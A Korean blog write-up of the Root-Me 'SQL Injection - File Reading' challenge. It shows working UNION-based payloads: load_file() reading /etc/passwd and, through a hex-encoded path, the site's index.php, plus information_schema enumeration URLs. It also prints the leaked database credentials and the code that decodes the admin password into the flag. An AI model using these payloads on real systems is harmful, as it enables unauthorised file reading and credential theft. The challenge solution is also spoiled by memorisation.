ROOTME] SQL Injection - File Reading

노션으로 옮김·2020년 4월 3일
1

wargame

목록 보기
34/59
post-thumbnail

문제


로그인 페이지가 있고

아이디, 이메일, 유저이름을 출력해주는 페이지가 있다.

풀이

rootme에서 제공해주는 문서를 읽어보고 이 문제에 사용되는 공격에 대해 알아보자.

Read files using SQL Injection

SQL의 built-in 함수 중, load_file()이 있다.
인자로 파일의 절대경로 값을 넘겨주면 해당 파일의 내용을 출력해준다.
다음과 같은 형태로 사용한다.

MariaDB [myDb]> select load_file('/etc/passwd');
+-----------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
...
-----------------------------------------------------------+
1 row in set (0.000 sec)

권한이 허용되어있고 절대경로를 안다면 원하는 파일을 read 할 수 있다.

※다른 종류의 DB에서는 다른 함수를 이용해 비슷한 유형의 취약점이 발생할 수 있다. 자세한 쿼리는 위의 문서를 확인하자※

DB 종류 확인

앞서 설명한대로 해당 공격은 데이터베이스에 따라 사용함수가 달라진다.

version()을 이용해 데이터베이스 정보를 얻을 수 있다.

0 union select 1,1,1,version()

index.php 획득

그렇다면 load_file로 얻을 수 있는 것은 무엇일까?

rootme의 이전 문제들을 통해서 별다른 힌트가 없을 경우 index.php에서 답을 찾을 수 있었다.

idx파라미터에 인젝션을 시도해서, index.php의 내용을 가져오자.

0 union select 1,1,1,load_file(0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870)

다음과 같은 과정에 의해 위의 쿼리를 인젝션할 수 있었다.

  1. 싱글쿼터가 필터되어 hex값으로 우회했다.
  2. index.php의 경로는 /challenge/web-serveur/ch31/index.php이며, 이 경로를 사용한 이유는 Rootme의 시스템 해킹 문제를 풀면서, 챌린지 문제들의 절대경로는 /challenge/에 위치한다는 것을 알고 있기 때문이다.

그 결과, index.php의 소스코드를 확인할 수 있었다.

코드 분석

필요한 내용을 확인해보자


<?php

define('SQL_HOST',      ':/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB',        'c_webserveur_31');
define('SQL_LOGIN',     'c_webserveur_31');
define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');


function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));        
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
 

mysql_connect(SQL_HOST, SQL_LOGIN, SQL_P) or exit('MySQL connection error !');
mysql_select_db(SQL_DB) or die("Database selection error !");

if ( ! isset($_GET['action']) ) $_GET['action']="login";

if($_GET['action'] == "login"){
        print '<form METHOD="POST">
                <p><label style="display:inline-block;width:100px;">Login : </label><input type="text" name="username" /></p>
                <p><label style="display:inline-block;width:100px;">Password : </label><input type="password" name="password" /></p>
                <p><input value=submit type=submit /></p>
                </form>';

	if(isset($_POST['username'], $_POST['password']) && !empty($_POST['username']) && !empty($_POST['password']))
	{
		$user = mysql_real_escape_string(strtolower($_POST['username']));
		$pass = sha1($_POST['password']);
		
		$result = mysql_query("SELECT member_password FROM member WHERE member_login='".$user."'");
		if(mysql_num_rows($result) == 1)
		{
			$data = mysql_fetch_array($result);
			if($pass == stringxor($key, base64_decode($data['member_password']))){
                                // authentication success
                                print "<p>Authentication success !!</p>";
                                if ($user == "admin")
                                    print "<p>Yeah !!! You're admin ! Use this password to complete this challenge.</p>";

따로 플래그값이 존재하진 않았다.

문제를 풀기위해선 admin의 패스워드를 알아야 했다.

DB에 저장된 패스워드는 SQL 인젝션을 통해 획득할 수 있지만, 이 값은 정답이 아니다.

소스에 나와있는 것처럼 이 값은

  1. admin의 패스워스를 sha1 해쉬하고
  2. 다시 base64 인코딩을 진행한

결과값이다.

패스워드 값 획득

필요한 정보를 확인하자.

http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=0%20union%20select%201,table_name,1,1%20from%20information_schema.tables%20where%20table_schema=database()

테이블 이름은 member 이며

http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=0%20union%20select%201,column_name,1,1%20from%20information_schema.columns%20where%20table_name=0x6d656d626572%20limit%202,1

패스워드 컬럼 이름은 member_password 이다.

0 union select 1,1,1,member_password from member

패스워드의 값은 아래의 값이다.

VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==

플래그 획득

간단히 index.php의 소스의 일부분을 가져와서 php를 이용하여 복호화를 할 수 있었다.
※복호화된 값이 플래그 값이다.※


function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));        
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";
$enc_pw = "VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA=="
stringxor($key, base64_decode($enc_pw))

0개의 댓글